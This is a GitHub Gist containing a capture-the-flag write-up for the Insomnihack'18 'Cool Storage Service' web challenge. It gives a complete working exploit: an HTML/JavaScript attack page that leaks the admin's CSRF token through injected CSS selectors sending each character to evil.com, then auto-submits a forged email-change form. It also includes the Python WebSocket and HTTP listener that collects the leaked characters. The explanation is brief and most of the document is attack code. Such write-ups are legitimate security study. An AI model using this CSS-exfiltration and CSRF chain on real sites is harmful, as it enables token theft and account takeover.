Last active
September 1, 2024 10:37
-
-
Save cgvwzq/f7c55222fbde44fc686b17f745d0e1aa to your computer and use it in GitHub Desktop.
insomnihack'18 - Cool Storage Service web challenge
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<body> | |
<form action="http://css.teaser.insomnihack.ch/?page=profile" method="POST"> | |
// change admin's email | |
<input type="text" name="email" value="[email protected]"> | |
<input type="text" name="csrf" value=""> | |
<input type="text" name="change" value="Modify profile"> | |
</form> | |
<iframe id="leakchar"></iframe> | |
<script> | |
const WS = "ws://evil.com:8000"; | |
const HTTP = "http://evil.com:8008"; | |
var s = new WebSocket(WS); | |
s.onopen = function(event) { | |
console.log('connection open'); | |
next(''); | |
} | |
s.onmessage = function(event) { | |
let reader = new FileReader() | |
reader.onload = function(){ | |
let token = this.result.match(/\?(\w+)/)[1]; | |
next(token); | |
} | |
reader.readAsText(event.data); | |
} | |
s.onclose = function(event) { | |
console.log('bye'); | |
} | |
function next(token) { | |
if (token.length < 32) { | |
console.log('leaking ' + token + '* ...'); | |
let url = 'http://css.teaser.insomnihack.ch/?page=login&redirect="><link+rel=stylesheet+href="?page=search%26search={}' + | |
[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('*[value^=' + token + e + ']{--:url(' + HTTP + '?' + token + e +')}')).join('') + | |
'input[name=csrf]{background:var(--)}">'; | |
document.getElementById('leakchar').src = url; | |
} else { | |
console.log('done, lets pwn'); | |
changeEmail(token); | |
} | |
} | |
function changeEmail(token) { | |
document.forms[0].csrf.value = token; | |
document.forms[0].submit(); | |
} | |
</script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CSP policy disables JS and only allows 'self' styles. Fortunately, we have several reflection points. | |
We have a "contact" form that allows URLs starting by "css.teaser.insomnihack.ch", so we can set our DNS to make the admin visit our malicious page "index.html" (css.teaser.insomnihack.ch.foo.mysite.com). | |
Leaking tokens from CSS is not new, in fact, last year ended with a very similar challenge: https://l4w.io/2017/12/34c3-ctf-2017-urlstorage-writeup/ | |
The main difficulty was that the token was refreshed at every request, hence, we need to leak it in once single admin's visit. | |
Fortunately (again), the site can be iframed, so from the parent (our malicious controlled page) we can load multiple iframes leaking each char of the token: | |
[ server.py ] [ index.html ] | |
ws server: | parent: | | |
* ----------|---> ws | (refresh iframe and leak next char) | |
^ | ________ | | |
| | |iframe | | | |
http server: <----|-|--leak | | | |
|____________| | |
(artistic dramatization of the exploit) | |
With this we can leak the whole token in a ~3-5 seconds and exploit the CSRF. | |
After that we had to solve the second part of the challenge, but that is wonderfully explained here: http://gynvael.coldwind.pl/?lang=en&id=671 (we used the intented solution with .pht) | |
Thanks and congrats to 0daysober for the funny (and hard) tasks! :) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket | |
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler | |
from threading import Thread | |
from SocketServer import ThreadingMixIn | |
PORT_HTTP = 8008 | |
PORT_WS = 8000 | |
class RequestHandler(BaseHTTPRequestHandler, WebSocket): | |
def do_GET(self): | |
"""Respond to a GET request.""" | |
print "http GET request" | |
self.send_response(200) | |
self.end_headers() | |
ws.sendMessage(self.path) | |
return | |
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): | |
"""Handle requests in a separate thread.""" | |
class SimpleEcho(WebSocket): | |
def handleMessage(self): | |
# echo message back to client | |
print(self.address, 'new msg') | |
#self.sendMessage(self.data) | |
def handleConnected(self): | |
print(self.address, 'connected, opening http server') | |
global ws | |
ws = self | |
httpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler) | |
server_thread = Thread(target=httpd.serve_forever) | |
server_thread.daemon = True | |
server_thread.start() | |
def handleClose(self): | |
print(self.address, 'closed') | |
server = SimpleWebSocketServer('', PORT_WS, SimpleEcho) | |
server.serveforever() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment